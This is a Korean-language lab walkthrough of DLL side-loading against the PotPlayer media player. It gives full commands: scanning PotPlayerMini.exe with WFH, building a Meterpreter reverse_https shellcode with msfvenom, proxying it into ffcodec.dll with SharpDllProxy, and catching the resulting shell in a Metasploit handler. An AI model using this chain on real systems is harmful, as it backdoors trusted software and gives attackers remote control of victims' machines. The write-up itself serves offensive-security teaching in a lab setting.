DLL SideLoading

DLL 사이드로딩은 DLL Hijacking의 Search Order Hijacking 방식을 이용한 공격입니다. DLL Hijacking에 관해 다룬 DLL Hijacking 에서 실행 파일이 정상적으로 참조해야 하는 DLL을 덮어쓸 경우 호환성 문제가 발생한다고 했는데, DLL 사이드로딩은 기존의 정상 DLL 파일에 악성 바이너리 파일을 삽입하여 C 파일로 만든 후, 다시 DLL로 빌드한 뒤 실행 파일의 참조 DLL을 악성 DLL로 변경하게 되어서 기존의 호환성 문제도 해결되며 사용자들은 프로그램 실행에 문제를 느끼지 못하며 정상 프로그램의 실행에서 악성 코드가 실행됩니다.

DLL SideLoading의 과정을 요약하면 다음과 같습니다.

  1. 악성 바이너리 파일 생성

  2. SharpDLLProxy를 이용한 정상 DLL 파일에 바이너리 파일을 삽입한 C 파일 생성

  3. C 파일을 컴파일하여 DLL 파일 생성

  4. 생성한 DLL 파일을 정상 DLL 파일로 대체

  5. 실행 파일 실행 시 악성 DLL 파일이 실행

Practice

실습을 위해서 바이너리 코드를 DLL에 삽입해주는 SharpDLLProxy와 실행 파일로부터 DLL 사이드로딩이 가능한 취약점 체크를 해주는 WFH 파일을 다운합니다.

# Kali에서 Windows 실행 파일로 빌드
dotnet publish -c Release -r win-x64 --self-contained true

실습에서 사용할 프로그램은 Kakao의 PotPlayer입니다. PotPlayer의 기본 경로에서 test 디렉토리를 생성 후 PotPlayermini.exe 파일을 이동한 후 필수 라이브러리인 PotPlayer.dll 파일만 이동시켜줍니다. 그리고 DLL 사이드로딩에 취약한 라이브러리가 있는지 탐색을 도와주는 도구인 WFH를 사용해서 PotPlayerMini.exe 파일에 취약점이 있는지 탐색합니다.

# PotPlayerMini.exe에 취약점이 있는지 탐색
python wfh.py -t "C:\Program Files (x86)\DAUM\PotPlayer\test\PotPlayerMini.exe" -m dll

# 스캔 결과
==================================================
Running Frida against C:\Program Files (x86)\DAUM\PotPlayer\test\PotPlayerMini.exe
--------------------------------------------------
...
[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: C:\Program Files (x86)\DAUM\PotPlayer\test\ffcodec.dll
[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: C:\Program Files (x86)\DAUM\PotPlayer\test\Module\FFmpeg61\FFmpegMininum.dll
[+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: C:\Program Files (x86)\DAUM\PotPlayer\test\ffcodec.dll

이번 실습에서는 ffcodec.dll 이라는 파일을 이용하여 실습을 진행합니다. DLL 사이드로딩의 공격 방식 자체가 정상 DLL 파일에 악성 바이너리 파일을 삽입하는 것이기 때문에 정상 DLL 파일과 악성 바이너리 파일이 필요하며, 이것을 합쳐서 악성 DLL 파일을 만들기 위해서 SharpDLLProxy가 필요합니다. 먼저 바이너리 파일을 생성하기 위해 msfvenom을 이용합니다.

# msfconsole로 쉘 연결을 하는 리버스 쉘 바이너리 코드
msfvenom -p windows/meterpreter/reverse_https -f raw lhost=192.168.200.132 lport=443 -o meter-x86.bin

# 바이너리 파일과 정상 DLL 파일의 결합
.\SharpDllProxy.exe -dll "C:\Program Files (x86)\DAUM\PotPlayer\ffcodec.dll" --payload "C:\Program Files (x86)\DAUM\PotPlayer\test\meter-x86.bin"
[+] Reading exports from C:\Program Files (x86)\DAUM\PotPlayer\ffcodec.dll...
[+] Redirected 200 function calls from ffcodec.dll to tmp7DF7.dll
[+] Exporting DLL C source to C:\windows\temp\test\win-x64\output_ffcodec\ffcodec_pragma.c

SharpDLLProxy 사용 후엔 <DLL>_pragma.c 파일과 tmp7DF7.dll 파일이 생성됩니다. tmp 파일은 기존의 정상 DLL과 동일한 역할을 하는 파일이고 C 확장 파일은 빌드 후 DLL로 만들어야 하는 악성 파일입니다.

C 파일을 Visual Studio를 통해 DLL로 빌딩 한 후에 PotPlayerMini.exe 파일과 동일한 위치로 이동합니다. PotPlayerMini.exe가 실행될 때, 원래 다른 경로에서 참조하던 ffcodec.dll 파일은 DLL 참조 규칙에 의해서 실행 파일과 동일 디렉토리에 있는 ffcodec.dll 파일을 참조하게 되고 이 파일은 실행 과정에서 meter-x86.bin 파일을 호출합니다. meter-x86.bin 파일은 미터프리터 쉘을 연결하는 악성코드이기 때문에 최종적으로 PotPlayerMini.exe를 실행했을 때 리버스 쉘이 연결됩니다.

msf6 exploit(multi/handler) > set LHOST 192.168.200.132
LHOST => 192.168.200.132
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://192.168.200.132:443
[!] https://192.168.200.132:443 handling request from 192.168.200.1; (UUID: bsdffzek) Without a database connected that payload UUID tracking will not work!
[*] https://192.168.200.132:443 handling request from 192.168.200.1; (UUID: bsdffzek) Staging x86 payload (177244 bytes) ...
[!] https://192.168.200.132:443 handling request from 192.168.200.1; (UUID: bsdffzek) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 8 opened (192.168.200.132:443 -> 192.168.200.1:26637) at 2024-11-30 15:19:33 +0000

meterpreter > 

References

Last updated

Was this helpful?